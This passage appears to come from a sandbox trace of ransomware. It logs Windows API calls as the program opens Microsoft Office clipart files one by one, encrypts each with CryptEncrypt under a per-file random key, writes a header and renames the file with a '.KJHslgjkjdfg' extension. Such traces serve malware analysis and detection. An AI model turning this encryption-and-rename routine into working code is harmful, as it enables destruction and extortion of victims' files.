lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0205.127] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0205.127] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0205.127] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.127] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.127] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.128] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x54a8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x54a8, lpOverlapped=0x0) returned 1 [0205.137] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x54b0, dwBufLen=0x54b0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x54b0) returned 1 [0205.137] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.137] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x54b0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x54b0, lpOverlapped=0x0) returned 1 [0205.137] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.137] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5584, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.137] SetEndOfFile (hFile=0x130) returned 1 [0205.140] GetProcessHeap () returned 0x990000 [0205.140] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0205.140] GetProcessHeap () returned 0x990000 [0205.140] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0205.140] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01066_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01066_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01066_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01066_.wmf.kjhslgjkjdfg")) returned 1 [0205.142] CloseHandle (hObject=0x130) returned 1 [0205.142] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0d55d00, ftCreationTime.dwHighDateTime=0x1bd4b03, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb0d55d00, ftLastWriteTime.dwHighDateTime=0x1bd4b03, nFileSizeHigh=0x0, nFileSizeLow=0x1a7e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01069_.WMF", cAlternateFileName="")) returned 1 [0205.142] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01069_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01069_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.143] GetProcessHeap () returned 0x990000 [0205.143] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0205.144] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0205.144] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0205.144] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0205.146] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.146] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.146] GetProcessHeap () returned 0x990000 [0205.146] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0205.146] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0205.146] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.146] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0205.147] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0205.147] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0205.147] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0205.147] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0205.147] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0205.147] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.147] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.147] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.147] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1a7e, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1a7e, lpOverlapped=0x0) returned 1 [0205.148] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1a80, dwBufLen=0x1a80 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1a80) returned 1 [0205.149] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.149] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1a80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1a80, lpOverlapped=0x0) returned 1 [0205.149] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.149] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1b54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.149] SetEndOfFile (hFile=0x130) returned 1 [0205.152] GetProcessHeap () returned 0x990000 [0205.152] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0205.152] GetProcessHeap () returned 0x990000 [0205.152] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0205.152] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01069_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01069_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01069_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01069_.wmf.kjhslgjkjdfg")) returned 1 [0205.153] CloseHandle (hObject=0x130) returned 1 [0205.154] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe19e000, ftCreationTime.dwHighDateTime=0x1bd4afd, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe19e000, ftLastWriteTime.dwHighDateTime=0x1bd4afd, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01123_.WMF", cAlternateFileName="")) returned 1 [0205.154] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01123_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01123_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.155] GetProcessHeap () returned 0x990000 [0205.155] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0205.155] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0205.155] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0205.155] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.155] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.155] GetProcessHeap () returned 0x990000 [0205.155] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0205.155] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0205.155] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.155] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0205.157] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0205.158] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0205.158] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0205.158] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0205.158] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0205.158] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.158] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.158] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.158] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1e00, lpOverlapped=0x0) returned 1 [0205.159] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1e00, dwBufLen=0x1e00 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1e00) returned 1 [0205.160] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.160] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1e00, lpOverlapped=0x0) returned 1 [0205.160] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.160] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1ed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.160] SetEndOfFile (hFile=0x130) returned 1 [0205.163] GetProcessHeap () returned 0x990000 [0205.163] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0205.163] GetProcessHeap () returned 0x990000 [0205.163] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0205.163] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01123_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01123_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01123_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01123_.wmf.kjhslgjkjdfg")) returned 1 [0205.165] CloseHandle (hObject=0x130) returned 1 [0205.165] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe23d3100, ftCreationTime.dwHighDateTime=0x1bd4ae1, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe23d3100, ftLastWriteTime.dwHighDateTime=0x1bd4ae1, nFileSizeHigh=0x0, nFileSizeLow=0xb70, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01126_.WMF", cAlternateFileName="")) returned 1 [0205.165] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01126_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01126_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.166] GetProcessHeap () returned 0x990000 [0205.166] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0205.166] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0205.166] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0205.166] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.166] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.166] GetProcessHeap () returned 0x990000 [0205.166] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0205.166] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0205.166] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.166] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0205.168] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0205.169] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0205.169] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0205.169] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0205.169] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0205.169] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.169] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.169] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.169] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xb70, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xb70, lpOverlapped=0x0) returned 1 [0205.169] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xb70, dwBufLen=0xb70 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xb70) returned 1 [0205.169] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.169] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xb70, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xb70, lpOverlapped=0x0) returned 1 [0205.169] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.169] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xc44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.170] SetEndOfFile (hFile=0x130) returned 1 [0205.172] GetProcessHeap () returned 0x990000 [0205.172] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0205.172] GetProcessHeap () returned 0x990000 [0205.172] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0205.172] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01126_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01126_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01126_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01126_.wmf.kjhslgjkjdfg")) returned 1 [0205.177] CloseHandle (hObject=0x130) returned 1 [0205.177] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94292d00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x94292d00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x16a0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01130_.WMF", cAlternateFileName="")) returned 1 [0205.177] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01130_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01130_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.179] GetProcessHeap () returned 0x990000 [0205.179] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0205.179] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0205.179] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0205.179] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.179] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.179] GetProcessHeap () returned 0x990000 [0205.179] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0205.179] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0205.179] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.179] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0205.220] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0205.220] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0205.221] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0205.221] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0205.221] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0205.221] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0205.221] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0205.222] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.222] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x16a0, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x16a0, lpOverlapped=0x0) returned 1 [0205.223] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x16a0, dwBufLen=0x16a0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x16a0) returned 1 [0205.224] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.224] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x16a0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x16a0, lpOverlapped=0x0) returned 1 [0205.224] CryptDestroyKey (hKey=0x9b6628) returned 1 [0205.224] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1774, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.224] SetEndOfFile (hFile=0x130) returned 1 [0205.227] GetProcessHeap () returned 0x990000 [0205.227] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0205.227] GetProcessHeap () returned 0x990000 [0205.227] HeapFree (in: hHeap=0x990000, 